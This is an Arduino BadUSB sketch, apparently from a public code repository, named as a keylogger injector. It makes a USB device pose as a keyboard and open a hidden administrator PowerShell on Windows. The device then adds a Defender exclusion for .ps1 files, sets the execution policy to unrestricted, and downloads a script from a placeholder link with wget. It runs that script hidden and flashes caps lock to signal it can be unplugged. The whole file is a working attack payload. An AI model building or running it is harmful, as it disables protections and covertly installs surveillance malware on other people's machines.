-
Notifications
You must be signed in to change notification settings - Fork 61
/
BadUSB_keyloggerInjector.ino
146 lines (87 loc) · 2.47 KB
/
BadUSB_keyloggerInjector.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include <Keyboard.h>
// Utility function
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup()
{
// Start Keyboard and Mouse
Keyboard.begin();
delay(2500);
// Windows + D = minimize all apps
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
Keyboard.releaseAll();
delay(500);
// Start powershell as Admin
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell.exe -windowstyle hidden");
delay(200);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.press(KEY_LEFT_ARROW);
Keyboard.releaseAll();
delay(150);
typeKey(KEY_RETURN);
delay(2000);
//Go to Public Documents directory
Keyboard.print("cd C:");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Users");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Public");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Documents");
typeKey(KEY_RETURN);
//Add an exception for .ps1 files in antivirus
Keyboard.print("Add-MpPreference -ExclusionExtension ps1 -Force");
typeKey(KEY_RETURN);
//Disable script blocker
Keyboard.print("Set-ExecutionPolicy unrestricted -Force");
typeKey(KEY_RETURN);
//Download ps1 sript
Keyboard.print("wget LINK -OutFile startScript.ps1");
typeKey(KEY_RETURN);
delay(3500);
//Start ps1 script
Keyboard.print("powershell.exe -noexit -windowstyle hidden -file startScript.ps1");
typeKey(KEY_RETURN);
// Make capslock flash to know when you can unplug the BadUSB
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(2000);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
// End Payload
// Stop Keyboard and Mouse
Keyboard.end();
}
// Unused
void loop() {}